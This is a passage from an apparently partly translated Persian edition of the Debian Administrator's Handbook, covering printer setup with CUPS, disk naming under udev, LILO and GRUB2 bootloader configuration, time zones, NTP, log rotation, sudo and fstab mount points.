تنظیم متغیرهای مخلی پیش‌فرض یکی از مهم‌ترین عنصرهای پیکربندی در پوسته است. بجز متغیرهایی که مربوط به خود پوسته هستند، قرار دادن آن‌ها در فایل /etc/environment ترجیح داده می‌شود، چرا که توسط بسیاری از برنامه‌ها که پوسته را راه‌اندای می‌کنند بکار می‌رود. متغیرهایی که در این فایل قرار می‌گیرند شامل ORGANIZATION، که معمولا نام شرکت یا سازمان یا HTTP_PROXY، که مکان یک پروکسی وب را شامل می‌شود.

نکته تمام پوسته‌ها به یک صورت پیکربندی می‌شوند

کاربران اغلب می‌خواهند پوسته‌های ورودی و تعاملی خود را به یک صورت پیکربندی کنند. برای اینکار، آن‌ها انتخاب می‌کنند که محتوای فایل ~/.bashrc در فایل ~/.bash_profile تفسیر یا “source” گردد. این اقدام برای محتوای فایل /etc/bash.bashrc از /etc/profile نیز میسر است.

8.7. پیکربندی چاپگر

Printer configuration used to cause a great many headaches for administrators and users alike. These headaches are now mostly a thing of the past, thanks to CUPS, the free print server using the IPP (Internet Printing Protocol).

Debian distributes CUPS divided between several packages. The heart of the system is the scheduler, cupsd, which is in the cups-daemon package. cups-client contains utility programs to interact with the server, cupsd. lpadmin is probably the most important utility, as it is crucial for setting up a printer, but there are also facilities to disable or enable a printer queue, view or delete print jobs and display or set printer options. The CUPS framework is based on the System V printing system, but there is a compatibility package, cups-bsd, allowing use of commands such as lpr, lpq and lprm from the traditional BSD printing system.

جامعه کاربری CUPS

CUPS is a project and a trademark owned and managed by Apple, Inc. Prior to its acquisition by Apple it was known as the Commmon Unix Printing System.

→ https://www.cups.org/

The scheduler manages print jobs and these jobs traverse a filtering system to produce a file that the printer will understand and print. The filtering system is provided by the cups-filters (https://salsa.debian.org/printing-team/cups-filters) package in conjunction with printer-driver-* packages. CUPS in combination with cups-filters and printer-driver-* is the basis for the Debian printing system.

Modern printers manufactured and sold within the last ten years are nearly always AirPrint-capable, and CUPS and cups-filters on Debian Buster have everything which is needed to take advantage of this facility on the network. In essence, these printers are IPP printers and an excellent fit for a driverless printing system, reducing the system to CUPS plus cups-filters. A printer-driver package can be dispensed with, and non-free printing software from vendors like Canon and Brother is no longer required. A USB-connected printer can take advantage of a modern printer with the ippusbxd package.

The command apt install cups will install CUPS and cups-filters. It will also install the recommended printer-driver-gutenprint to provide a driver for a wide range of printers, but, unless the printer is being operated driverlessly, an alternative printer-driver might be needed for the particular device.

As a package recommended by cups-daemon, cups-browsed will be on the system and networked print queues, and modern printers can be automatically discovered and set up from their DNS-SD broadcasts (Bonjour). USB printers will have to be set up manually as described in the next paragraph.

The printing system is administered easily through a web interface accessible at the local address http://localhost:631/. There you can add and remove USB and network printers and administer most aspects of their behavior. Similar administration tasks can also be carried out via the graphical interface provided by a desktop environment or the system-config-printer graphical interface (from the homonym Debian package).

8.8. پیکربندی راه‌انداز اولیه

این قابلیت هم‌اکنون فعال است، اما دانستن اینکه چطور می‌توان در زمان بروز مشکل در راه‌انداز اولیه یا پاک شدن آن از روی MBR آن را عیب‌زدایی و نصب مجدد کرد بسیار مفید است. این اتفاق زمانی می‌افتد که یک سیستم عامل دیگر مانند ویندوز را نصب کنید. اطلاعات پیش رو به شما کمک می‌کنند که راه‌انداز اولیه را به صورت صحیح پیکربندی کنید.

بازگشت به مقدمات Master Boot Record

رکورد راه‌انداز اصلی یا MBR اولین ۵۱۲ بایت اولین هارددیسک موجود را اشغال می‌کند و اولین چیزی است که توسط BIOS برای شناسایی برنامه‌ای که قادر به راه‌اندازی سیستم عامل باشد فراخوانی می‌گردد. به صورت کلی، راه‌انداز اولیه‌ای که در MBR نصب می‌گردد تمام محتوای قبلی را حذف می‌کند.

8.8.1. شناسایی دیسک‌ها

فرهنگ udev و /dev/

دایرکتوری /dev/ از قدیم محل نگهداری فایل‌های به اصطلاح “ویژه” بود، که نمایانگر دستگاه‌های جانبی متصل به سیستم بودند (قسمت بازگشت به مقدمات مجوزهای دسترسی به دستگاه را مشاهده کنید). در زمان‌های گذشته این دایرکتوری شامل تمام فایل‌های ویژه قابل استفاده بود. این رویکرد نقص‌های فراوانی به همراه داشت از جمله اینکه تعداد دستگاه‌هایی که یک نفر می‌توانست از آن‌ها استفاده کند را محدود می‌ساخت (به دلیل دست‌نویس بودن تمام نام‌ها) و اینکه تقریبا غیرممکن بود بفهمید کدام فایل واقعا کاربردی است.

Nowadays, the management of special files is entirely dynamic and matches better the nature of hot-swappable computer devices. The kernel cooperates with udev ( قسمت 9.11.3, “چگونگی کارکرد udev” ) to create and delete them as needed when the corresponding devices appear and disappear. For this reason, /dev/ doesn't need to be persistent and is thus a RAM-based filesystem that starts empty and contains only the relevant entries.

کرنل اطلاعات بسیاری را در رابطه با دستگاه‌های جدید رد و بدل می‌کند و از شماره‌های ماژور/مینور برای شناسایی این دستگاه‌ها بهره می‌برد. با این شیوه udevd می‌تواند فایل ویژه مورد نیاز را با توجه به مجوزهای لازم هر دستگاه ایجاد کند. همچنین می‌تواند نام‌های مستعار ایجاد کرده و اقدامات بیشتری را انجام دهد (مانند پیکربندی اولیه یا ثبت فعالیت‌ها). عملکرد udevd توسط مجموعه بزرگی از قوانین (سفارشی‌سازی) هدایت می‌شود.

با نام‌هایی که به صورت خودکار اختصاص می‌یابند، می‌توانید یک نام یکسان برای دستگاه مشخصی تعیین کنید جدا از اینکه توسط چه اتصالی برقرار شده یا ترتیب آن به چه صورت بوده، که این عمل هنگام استفاده از درگاه‌های مختلف USB بسیار مفید است. اولین پارتیشن اولین هارددیسک می‌تواند نام /dev/sda1 را داشته باشد یا /dev/root-partition اگر آن را ترجیح دهید یا استفاده از هر دو در یک زمان چرا که udevd قادر است پیوندهای نمادین از این فایل‌ها بسازد.

در زمان‌های قدیم، برخی ماژول‌های کرنل به صورت خودکار فراخوانی می‌شدند زمانی که شما دستگاه جدیدی را به سیستم معرفی می‌کردید. این مورد دیگر مصداق ندارد و فایل ویژه مربوط به دستگاه دیگر وجود ندارد که ماژولی برای آن فراخوانی گردد؛ این مشکل بزرگی نیست، چرا که اکثر ماژول‌ها هنگام راه‌اندازی اولیه سیستم توسط فاز شناسایی سخت‌افزار فراخوانی و آماده اجرا می‌گردند. اما برای دستگاه‌هایی که شناسایی نمی‌گردند (مانند هارددیسک‌های بسیار قدیمی یا ماوس PS/2)، این اتفاق نمی‌افتد. می‌توان با افزودن ماژول‌های floppy، psmouse و mousedev به فایل /etc/modules آن‌ها را هنگام راه‌اندازی اولیه سیستم فراخوانی کرد.

پیکربندی راه‌انداز اولیه باید هارد درایوهای مختلف با پارتیشن‌های مربوطه را شناسایی کند. لینوکس از فایل‌های ویژه “بلاک” که در /dev/ ذخیره می‌شوند به این منظور استفاده می‌کند. به این منظور، از دبیان Squeeze، شیوه نامگذاری هارد درایوها توسط کرنل لینوکس یکپارچه شده است و تمام هارد درایوها (IDE/SATA، SATA، SCSI، USB، IEEE 1394) اکنون توسط /dev/sd* شناخته می‌شوند.

هر پارتیشن با عدد مخصوص به خود روی دیسک شناسایی می‌گردد: برای نمونه، /dev/sda1 اولین پارتیشن روی اولین دیسک و /dev/sdb3 سومین پارتیشن روی دومین دیسک است.

معماری PC (یا “i386” به همراه “amd64”) تنها محدود به استفاده از قالب جدول پارتیشن “MS-DOS” بوده است، که تنها اجازه چهار پارتیشن “اولیه” روی هر دیسک را می‌دهد. برای غلبه بر این محدودیت یکی از پارتیشن‌ها باید به صورت “گسترش‌یافته” درآید و در آنجا می‌تواند شامل پارتیشن‌های “ثانویه” باشد. این پارتیشن‌های ثانویه از شماره ۵ آغاز می‌گردند. بنابراین اولیه پارتیشن ثانویه روی دیسک با /dev/sda5 شناخته می‌شود و به همین شکل ادامه می‌یابد.

دیگر محدودیت قالب جدول پارتیشن‌بندی MS-DOS این است که تنها قادر به شناسایی دیسک‌های تا ۲ ترابایت حافظه جانبی است که این مشکل امروزه با توجه به افزایش حجم دیسک‌ها جدی شده است.

قالب جدید پارتیشن‌بندی GPT به محدودیت‌های فعلی غلبه می‌کند که شامل تعداد پارتیشن‌ها (تا ۱۲۸ پارتیشن اصلی هنگام استفاده از تنظیمات استاندارد) و اندازه و حجم دیسک‌های مورد استفاده (بالغ بر ۸ زتابایت، که بیش از ۸ میلیارد ترابایت است) می‌باشد. اگر قصد ایجاد تعداد زیادی پارتیشن فیزیکی روی یک دیسک را دارید، باید اطمینان یابید که از قالب پارتیشن‌بندی GPT هنگام پارتیشن‌بندی دیسک‌ها استفاده می‌کنید.

به خاطر سپردن اینکه کدام دیسک به کدام کنترلر SATA متصل است، یا در کدام موقعیت زنجیره SCSI قرار دارد کار ساده‌ای نیست، به خصوص زمانی که نامگذاری هارد درایوهای جداشونده در هر مرتبه راه‌اندازی اولیه سیستم ممکن است تغییر کند. خوشبختانه، udev علاوه بر /dev/sd*، پیوندهای نمادین با نام‌های ثابت ایجاد می‌کند که می‌توانید از آن‌ها برای شناسایی یک هارد درایو به صورت مشخص استفاده کنید. این پیوندهای نمادین در فایل /dev/disk/by-id ذخیره می‌شوند. برای نمونه، در رایانه‌ای با دو دیسک فیزیکی می‌توان به اطلاعات زیر دست یافت:

mirexpress:/dev/disk/by-id# ls -l total 0 lrwxrwxrwx 1 root root 9 23 jul. 08:58 ata-STM3500418AS_9VM3L3KP -> ../../sda lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-STM3500418AS_9VM3L3KP-part1 -> ../../sda1 lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-STM3500418AS_9VM3L3KP-part2 -> ../../sda2 [...] lrwxrwxrwx 1 root root 9 23 jul. 08:58 ata-WDC_WD5001AALS-00L3B2_WD-WCAT00241697 -> ../../sdb lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-WDC_WD5001AALS-00L3B2_WD-WCAT00241697-part1 -> ../../sdb1 lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-WDC_WD5001AALS-00L3B2_WD-WCAT00241697-part2 -> ../../sdb2 [...] lrwxrwxrwx 1 root root 9 23 jul. 08:58 scsi-SATA_STM3500418AS_9VM3L3KP -> ../../sda lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_STM3500418AS_9VM3L3KP-part1 -> ../../sda1 lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_STM3500418AS_9VM3L3KP-part2 -> ../../sda2 [...] lrwxrwxrwx 1 root root 9 23 jul. 08:58 scsi-SATA_WDC_WD5001AALS-_WD-WCAT00241697 -> ../../sdb lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_WDC_WD5001AALS-_WD-WCAT00241697-part1 -> ../../sdb1 lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_WDC_WD5001AALS-_WD-WCAT00241697-part2 -> ../../sdb2 [...] lrwxrwxrwx 1 root root 9 23 jul. 16:48 usb-LaCie_iamaKey_3ed00e26ccc11a-0:0 -> ../../sdc lrwxrwxrwx 1 root root 10 23 jul. 16:48 usb-LaCie_iamaKey_3ed00e26ccc11a-0:0-part1 -> ../../sdc1 lrwxrwxrwx 1 root root 10 23 jul. 16:48 usb-LaCie_iamaKey_3ed00e26ccc11a-0:0-part2 -> ../../sdc2 [...] lrwxrwxrwx 1 root root 9 23 jul. 08:58 wwn-0x5000c50015c4842f -> ../../sda lrwxrwxrwx 1 root root 10 23 jul. 08:58 wwn-0x5000c50015c4842f-part1 -> ../../sda1 [...] mirexpress:/dev/disk/by-id#

برخی از دیسک‌ها چندین بار در این فهرست آورده شده‌اند (چرا که همزمان به صورت دیسک‌های ATA و SCSI رفتار می‌کنند) اما اطلاعات مربوطه در قسمت مدل و شماره سریال هر یک از دیسک‌ها است که از طریق ‌آن‌ها می‌توانید فایل‌های مربوطه را پیدا کنید.

فایل‌های پیکربندی نمونه که در قسمت‌های بعدی به آن‌ها اشاره می‌شود بر اساس یک تنظیم یکسان هستند: یک دیسک SATA واحد، که اولین پارتیشن آن یک نصب قدیمی از ویندوز است و پارتیشن دوم شامل دبیان گنو/لینوکس است.

8.8.2. پیکربندی LILO

LILO که مخفف LInux LOader است قدیمی‌ترین راه‌انداز اولیه در لینوکس است - قدیمی اما اصیل. نشانی فیزیکی کرنل برای راه‌اندازی را روی MBR می‌نویسد، به همین دلیل هر بروزرسانی LILO یا فایل‌های پیکربندی آن باید به همراه اجرای دستور lilo باشد. فراموش کردن این امر باعث می‌شود سیستم در حالتی قرار بگیرد که نشانی کرنل قبلی پاک شده باشد و کرنل جدید نیز اکنون در MBR موجود نباشد.

فایل پیکربندی LILO با نام /etc/lilo.conf شناخته می‌شود؛ یک فایل نمونه برای پیکربندی استاندارد در ادامه آورده می‌شود.

مثال 8.4. فایل پیکربندی LILO

# The disk on which LILO should be installed. # By indicating the disk and not a partition. # you order LILO to be installed on the MBR. boot=/dev/sda # the partition that contains Debian root=/dev/sda2 # the item to be loaded by default default=Linux # the most recent kernel image image=/vmlinuz label=Linux initrd=/initrd.img read-only # Old kernel (if the newly installed kernel doesn't boot) image=/vmlinuz.old label=LinuxOLD initrd=/initrd.img.old read-only optional # only for Linux/Windows dual boot other=/dev/sda1 label=Windows

8.8.3. پیکربندی GRUB2

GRUB که مخفف GRand Unified Bootloader نسخه جدید راه‌اندازهای اولیه است. پس از بروزرسانی هر نسخه کرنل الزامی به فراخوانی مجدد آن نیست؛ GRUB خود می‌داند که چطور فایل‌سیستم را بخواند و موقعیت کرنل را روی دیسک تشخیص دهد. برای نصب آن روی MBR اولین دیسک، تنها کافی است دستور grub-install /dev/sda را وارد کنید.

یادداشت نام دیسک‌ها برای GRUB

GRUB can only identify hard drives based on information provided by the BIOS. (hd0) corresponds to the first disk thus detected, (hd1) the second, etc. In most cases, this order corresponds exactly to the usual order of disks under Linux, but problems can occur when you associate SCSI and IDE disks. GRUB used to store the correspondences that it detected in the file /boot/grub/device.map. GRUB avoids this problem nowadays by using UUIDs or file system labels when generating grub.cfg. However, the device map file is not obsolete yet, since it can be used to override when the current environment is different from the one on boot. If you find errors there (because you know that your BIOS detects drives in a different order), correct them manually and run grub-install again. grub-mkdevicemap can help creating a device.map file from which to start.

پارتیشن‌ها همچنین یک نام مخصوص به خود در GRUB دارند. زمانی که از پارتیشن‌های “کلاسیک” در قالب MS-DOS استفاده می‌کنید، اولین پارتیشن اولین دیسک به صورت (hd0,msdos1) برچسب‌گذاری می‌شود، دومین پارتیشن به صورت (hd0,msdos2) و الی آخر.

GRUB 2 configuration is stored in /boot/grub/grub.cfg, but this file (in Debian) is generated from others. Be careful not to modify it by hand, since such local modifications will be lost the next time update-grub is run (which may occur upon update of various packages). The most common modifications of the /boot/grub/grub.cfg file (to add command line parameters to the kernel or change the duration that the menu is displayed, for example) are made through the variables in /etc/default/grub. To add entries to the menu, you can either create a /boot/grub/custom.cfg file or modify the /etc/grub.d/40_custom file. For more complex configurations, you can modify other files in /etc/grub.d, or add to them; these scripts should return configuration snippets, possibly by making use of external programs. These scripts are the ones that will update the list of kernels to boot: 10_linux takes into consideration the installed Linux kernels; 20_linux_xen takes into account Xen virtual systems, and 30_os-prober lists other operating systems (Windows, OS X, Hurd).

8.9. سایر پیکربندی‌ها: همگام‌سازی زمان، گزارش‌ها، دسترسی اشتراکی...

عناصر مختلفی که در این قسمت به آن‌ها اشاره می‌شود برای کسانی که می‌خواهند تمام جنبه‌های پیکربندی یک سیستم گنو/لینوکس را بدانند بسیار مفید هستند. اگرچه، تنها به بخش مختصری از آن‌ها می‌پردازیم و ارجاعاتی به مستندات رسمی باقی می‌گذاریم.

8.9.1. منطقه‌زمانی

بازگشت به مقدمات پیوندهای نمادین

یک پیوند نمادین مانند اشاره‌گر به فایل دیگری است. زمانی که به آن دسترسی دارید، در حقیقت فایل اشاره‌شده باز می‌شود. حذف این پیوند منجر به حذف فیزیکی فایلی که به آن اشاره دارد نمی‌شود. به همین شکل، مجوزهای جداگانه مربوط به خود را ندارد، اما مجوزهای فایل هدف را نمایش می‌دهد. در نهایت، می‌تواند به هر نوع فایلی اشاره کند: دایرکتوری‌ها، فایل‌های ویژه (سوکت، لوله‌های نام‌گذاری‌شده، فایل‌های دستگاه‌ها و الی آخر)، حتی سایر پیوندهای نمادین.

دستور ln -s target link-name یک پیوند نمادین با نام link-name که اشاره به فایل target دارد را ایجاد می‌کند.

اگر فایل هدف وجود نداشته باشد، آنگاه پیوند به صورت “شکسته” خواهد بود و دسترسی به آن با خطای عدم وجود فایل مقصد مواجه خواهد شد. اگر پیوند به پیوند دیگری اشاره کند، آنگاه دارای “زنجیره‌ای” از پیوندها هستید که هر یک به دیگری اشاره می‌کند و یک “چرخه” را ایجاد می‌کنند. در این مورد، دسترسی به یکی از پیوندهای این چرخه به یک خطای مشخص ختم می‌شود (“too many levels of symbolic links”)؛ به معنی اینکه کرنل پس از چند مرتبه پیموندن این چرخه، عملیات را متوقف کرده است.

منطقه‌زمانی، که در نصب اولیه پیکربندی شده، یک گزینه پیکربندی برای بسته tzdata است. برای تغییر آن، از دستور dpkg-reconfigure tzdata استفاده کنید، که به شما اجازه انتخاب یک منطقه‌زمانی را به صورت تعاملی می‌دهد. پیکربندی آن در فایل /etc/timezone ذخیره شده است. به علاوه، فایل متناظر آن در دایرکتوری /usr/share/zoneinfo در فایل /etc/localtime رونوشت گرفته می‌شود؛ این فایل شامل تاریخ مبتنی بر ساعت تابستانی است که بر بعضی کشورها استفاده می‌شود.

زمانی که نیاز دارید به صورت موقت منطقه‌زمانی را تغییر دهید، از متغیر محلی TZ استفاده کنید که نسب به پیش‌فرض اولیه سیستم اولویت پیدا می‌کند.

$ date Thu Feb 19 11:25:18 CET 2015 $ TZ="Pacific/Honolulu" date Thu Feb 19 00:25:21 HST 2015

یادداشت ساعت سیستم، ساعت سخت‌افزار

دو منبع زمان برای رایانه وجود دارد. برداصلی رایانه دارای یک ساعت سخت‌افزاری است که با نام “ساعت CMOS” شناخته می‌شود. این ساعت خیلی دقیق نیست و دسترسی کندی به زمان ارائه می‌دهد. کرنل سیستم عامل ساعت خود را دارد، ساعت نرم‌افزاری، که با استفاده از ابزار خود بروز نگاه می‌دارد (احتمالا با استفاده از سرورهای زمانی، قسمت قسمت 8.9.2, “همگام‌سازی زمان” را مشاهده کنید). این ساعت سیستم به طور دقیق‌تری کار می‌کند، به خصوص که به متغیرهای سخت‌افزاری نیازی ندارد. اگرچه، از آنجا که تنها در حافظه اصلی قرار دارد، هر زمان که رایانه راه‌اندازی شود از صفر آعاز می‌گردد، بر خلاف ساعت CMOS که دارای یک باتری است و راه‌اندازی مجدد رایانه باعث “از بین رفتن” آن نمی‌شود. ساعت سیستم، بنابراین با استفاده از ساعت CMOS هنگام راه‌اندازی اولیه تنظیم و ساعت CMOS نیز هنگام خاموش شدن رایانه بروزرسانی می‌گردد (اگر به درستی تنظیم شود تغییرات صحیح را به همراه خواهد داشت).

در عمل، یک مشکل وجود دارد و آن اینکه ساعت CMOS چیزی بیشتر از یک شمارنده سخت‌افزاری نیست و کوچکترین اطلاعاتی راجع به منظفه‌زمانی ندارد. برای تفسیر این حالت یک انتخاب وجود دارد: یا سیستم تصمیم بگیرد که ساعت به صورت جهانی (UTC که سابق بر این GMT بود) تنظیم گردد یا به صورت محلی. این انتخاب به نظر ساده می‌آید، اما داستان پیچیده‌تر از این است: در نتیجه استفاده از ساعت تابستانی، این اختلاف هیچگاه ثابت نمی‌ماند. نتیجه اینکه سیستم هیچ روشی برای تایید این اختلاف زمانی ندارد، به خصوص هنگامی که این بازه زمانی تغییر می‌کند. از آنجا که همیشه می‌توان با استفاده از زمان جهانی و اطلاعات منطقه‌زمانی به ساعت محلی دسترسی داشت، به شدت توصیه می‌شود که از ساعت CMOS در زمان جهانی استفاده گردد.

متاسفانه، سیستم‌های ویندوز با پیکربندی اولیه این توصیه را رعایت نمی‌کنند؛ آن‌ها ساعت CMOS را در حالت محلی نگاه داشته و هنگام راه‌اندازی اولیه رایانه اقدام به اعمال تغییرات زمانی با توجه به تغییرات زمانی سابق سیستم می‌نمایند. این کار به نسبت جواب می‌دهد، مادامی که ویندوز تنها سیستم عامل رایانه باشد. اما زمانی که یک رایانه دارای سیستم عامل‌های گوناگونی باشد (خواه یک پیکربندی “dual-boot” یا استفاده از ماشین مجازی) آشوب به پا می‌شود و هیچ روشی برای تایید صحت زمان وجود نخواهد داشت. اگر قصد نگهداری ویندوز روی یک رایانه را دارید، باید آن را به گونه‌ای پیکربندی کنید که ساعت CMOS بز اساس زمان UTC (تنظیم کلید رجیستری HKLM\SYSTEM\CurrentControlSet\Control\TimeZoneInformation\RealTimeIsUniversal به “۱” به عنوان DWORD) یا استفاده از دستور hwclock --localtime --set در دبیان برای تنظیم ساعت سخت‌افزاری و نشانه‌گذازی آن به عنوان زمان محلی (و اطمینان حاصل کنید که هنگام بهار و پاییز این تغییرات اعمال می‌شود) تنظیم گردد.

8.9.2. همگام‌سازی زمان

همگام‌سازی زمان، که ممکن است عضو زائدی در رایانه به حساب آید، اهمیت بسزایی در یک شبکه دارد. از آنجا که کاربران مجوز کافی برای تغییر و تنظیم تاریخ و ساعت را ندارد، دقیق بودن این اطلاعات از اهمیت خاصی برخوردار است تا باعث سردرگمی نشود. علاوه بر این، همگام‌سازی زمان چند رایانه در شبکه باعث می‌شود که اطلاعات مربوط به گزارش‌های سیستمی به صورت بهتری استفاده گردند. بنابراین، اگر حمله‌ای صورت گیرد، راحت‌تر خواهد بود که ترتیب زمانی وقایع اتفاق افتاده در مجموعه‌ای از رایانه‌های نفوذ شده را تشخیص داد. داده‌هایی که از چندین رایانه مختلف برای تحلیل آماری گردآوری می‌شوند مادامی که همگام‌سازی زمانی نداشته باشند تاثیر خاصی ندارند.

بازگشت به مقدمات NTP

پروتکل زمان در شبکه یا Network Time Protocol به یک رایانه اجازه می‌دهد که ساعت خود را با سایر رایانه‌های شبکه همگام‌سازی کند. این پروتکل تاخیر بوجود آمده در شبکه و سایر تاثیرات مربوط به آن را نیز در محاسبه این زمان به حساب می‌آورد.

با اینکه تعداد زیادی سرور NTP در اینترنت وجود دارند، آن‌هایی که محبوب‌تر هستند بیشتر استفاده می‌گردند. به همین دلیل توصیه می‌کنیم که از سرور pool.ntp.org استفاده کرده که در حقیقت مجموعه‌ای از رایانه‌های عمومی ارائه‌دهنده این پروتکل در اینترنت هستند. حتی می‌توانید بر اساس یک کشور خاص فهرست خود را کوتاه کنید، برای نمونه us.pool.ntp.org برای ایالات متحده یا ca.pool.ntp.org برای کانادا.

اگر یک شبکه بزرگ را مدیریت می‌کنید، توصیه می‌شود که سرور NTP خود را نصب کنید که با استفاده از سرورهای عمومی همگام‌سازی می‌گردد. در این مورد، تمام رایانه‌های شبکه محلی می‌توانند از سرور شما استفاده کنند بجای اینکه ترافیک خود را روی سرورهای عمومی قرار دهند. با اینکار همگن بودن ساعت‌ها را افزایش می‌دهید، چرا که تمام رایانه‌ها بر اساس یک منبع همگام‌سازی زمانی شده‌اند و این منبع با توجه به زمان انتقال در شبکه بسیار نزدیک است.

8.9.2.1. برای رایانه‌های رومیزی

از آنجا که این رایانه‌ها به صورت مداوم روشن و خاموش می‌گردند (حتی برای صرفه‌جویی در انرژی)، همگام‌سازی زمان در لحظه راه‌اندازی توسط NTP کافی است. به این منظور، تنها کافی است بسته ntpdate را نصب کنید. با ویرایش فایل /etc/default/ntpdate نیز می‌توانید سرور NTP مورد نظر را تغییر دهید.

8.9.2.2. برای سرورها

سرورها به طور خیلی کم راه‌اندازی مجدد می‌گردند و صحیح بودن ساعت سیستم در آن‌ها اهمیت ویژه‌ای دارد. برای این منظور، می‌توانید یک سرور NTP محلی نصب کنید، سرویسی که توسط بسته ntp ارائه می‌شود. در پیکربندی پیش‌فرض آن، سرور با pool.ntp.org همگام‌سازی می‌شود و زمان خواسته شده را که توسط شبکه محلی مورد نیاز است فراهم می‌آورد. می‌توانید با ویریش فایل /etc/ntp.conf آن را پیکربندی کنید که مهم‌ترین تغییر در آن مربوط به سرور NTP مورد نیاز است. اگر شبکه دارای سرورهای مختلفی باشد، می‌توان یکی از آن‌ها را با توجه به سرورهای عمومی NTP همگام‌سازی کرد تا باقی سرورهای شبکه از روی آن همگام‌سازی زمانی گردند.

مطالعه بیشتر ماژول‌های GPS و سایر منابع زمانی

اگر همگام‌سازی زمان برای شبکه شما امری حیاتی است، امکان تجهیز یک سرور به ماژول GPS (که از زمان ماهواره‌های GPS استفاده می‌کند) یا ماژول DCF-77 (که از زمان ساعت اتمی نزدیک به فرانکفورت آلمان استفاده می‌کند) وجود دارد. در این مورد، پیکربندی سرور NTP کمی پیچیده‌تر خواهد بود و مطالعه مستندات قبل از پیاده‌سازی آن یک ضرورت محسوب می‌شود.

8.9.3. چرخش فایل‌های گزارش

فایل‌های گزارش می‌توانند به سرعت رشد کرده و حجم زیادی اشغال کنند که این امر بایگانی کردن آن‌ها را لازم می‌سازد. متداول‌ترین شیوه استفاده از یک بایگانی چرخشی است: فایل گزارش به صورت مداوم بایگانی می‌شود و تنها آخرین بایگانی X به صورت دست نخورده باقی می‌ماند. logrotate، برنامه‌ای که مسئول این کار است از دستورات موجود در فایل /etc/logrotate.conf و تمام فایل‌هایی که در دایرکتوری /etc/logrotate.d/ وجود دارند، استفاده می‌کند. مدیرسیستم شاید بخواهد این فایل‌ها را ویرایش کند، اگر قصد سازگاری با سیاست تعیین شده چرخش فایل در دبیان را داشته باشد. صفحه راهنمای logrotate(1) شامل تمام گزینه‌های موجود در این فایل‌های پیکربندی است. شاید بخواهید تعداد فایل‌هایی که در هر چرخش حفظ می‌گردند را افزایش دهید یا فایل‌های چرخانده شده را به یک دایرکتوری خاص که برای بایگانی استفاده می‌شود جابجا کنید بجای آنکه آن‌ها حذف شوند. همچنین می‌توانید آن‌ها را با استفاده از ایمیل جهت بایگانی در جای دیگری ارسال کنید.

برنامه logrotate به صورت روزانه توسط برنامه زمان‌بندی cron اجرا می‌شود (که در قسمت قسمت 9.7, “زمان‌بندی وظیفه‌ها با cron و atd” توضیح داده شده است).

8.9.4. اشتراک‌گذاری دسترسی سطح بالا

به طور مداوم، چند مدیرسیستم روی یک شبکه کار می‌کنند. اشتراک‌گذاری گذرواژه حساب root کار معقولی نیست، که باعث بروز سواستفاده با توجه به ماهیت نامشخص بودن کاربر استفاده کننده از این حساب می‌گردد. راه حل این مساله برنامه sudo است که به برخی کاربران اجازه می‌دهد برخی برنامه‌ها را با مجوزهای سطح بالا اجرا کنند. در متداول‌ترین کاربرد، sudo به کاربر مجاز اجازه استفاده از هر دستوری با مجوز حساب root را می‌دهد. به این منظور، کاربر تنها با وارد کردن دستور sudo command و درج گذرواژه خود می‌تواند دسترسی بالاتری پیدا کند.

زمانی که نصب گردد، بسته sudo تمام مجوزهای کاربر root را به اعضای گروه یونیکس sudo اختصاص می‌دهد. برای افزودن سایر مجوزها، مدیرسیستم باید از دستور visudo استفاده کرده که به وی اجازه ویرایش فایل /etc/sudoers را می‌دهد (در اینجا نیز ویرایشگر vi انتخاب می‌شود، یا هر ویرایشگر دیگری که توسط متغیر محلی EDITOR مشخص شده باشد). افزودن خطی مانند username ALL=(ALL) ALL باعث می‌شود که کاربر مورد نظر تمام دستورات را با مجوزهای حساب root اجرا کند.

پیکربندی‌های پیچیده‌تر تنها اجازه دسترسی برخی دستورات را به کاربران می دهند. تمام جزئیات مربوط به این پیکربندی‌ها در صفحه راهنمای sudoers(5) آمده است.

8.9.5. فهرست نقاط اتصال

بازگشت به مقدمات قطع و وصل کردن

در یک سیستم شبه-یونیکس مانند دبیان، فایل‌ها در یک سلسله‌مراتب درختی از دایرکتوری‌ها سازماندهی شده‌اند. دایرکتوری / با نام “ریشه” شناخته می‌شود؛ تمام دایرکتوری‌های اضافه زیر مجموعه دایرکتوری ریشه به حساب می‌آیند. “متصل‌کردن” به عمل اتصال محتوای یک دستگاه جانبی (اغلب یک هارد درایو) به این ساختار درختی اطلاق می‌شود. به همین دلیل، اگر از هارد درایو جداگانه‌ای برای ذخیره‌سازی محتویات کابران استفاده می‌کنید این دیسک باید در مسیر /home به اصطلاح “mount” شود. فایل‌سیستم ریشه همیشه در زمان راه‌اندازی اولیه توسط کرنل متصل می‌شود؛ سایر دستگاه‌ها در زمان دیگری یا به صورت دستی توسط دستور mount متصل می‌گردند.

Some removable devices are automatically mounted when connected, especially when using the GNOME, Plasma or other graphical desktop environments. Others have to be mounted manually by the user. Likewise, they must be unmounted (removed from the file tree). Normal users do not usually have permission to execute the mount and umount commands. The administrator can, however, authorize these operations (independently for each mount point) by including the user option in the /etc/fstab file.

The mount command can be used without arguments to list all mounted filesystems; you can execute findmnt --fstab to show only the filesystems from /etc/fstab. The following parameters are required to mount or unmount a device. For the complete list, please refer to the corresponding man pages, mount(8) and umount(8). For simple cases, the syntax is simple too: for example, to mount the /dev/sdc1 partition, which has an ext3 filesystem, into the /mnt/tmp/ directory, you would simply run mount -t ext3 /dev/sdc1 /mnt/tmp/.

فایل /etc/fstab فهرستی از تمام اتصال‌های موجود در سیستم که به صورت خودکار یا دستی صورت گرفته‌اند را نمایش می‌دهد. هر نقطه اتصال توسط یک خط به همراه چندین عبارت که با فاصله جدا شده‌اند مشخص است:

file system: this indicates where the filesystem to be mounted can be found, it can be a local device (hard drive partition, CD-ROM) or a remote filesystem (such as NFS).

این فیلد معمولا توسط شناسه منحصربفرد فایل‌سیستم جایگزین می‌شود (که می‌توانید با دستور blkid device مشخص کنید) که پیشوند UUID= دارد. این رویکرد درباره تغییرات احتمالی آینده در نام دستگاه یا ترتیبی که در رایانه قرار گرفته است، محافظت می‌کند.

نقطه اتصال: دایرکتوری در فایل‌سیستم محلی که دستگاه، سیستم راه‌دور یا پارتیشن در آن قرار می‌گیرد.

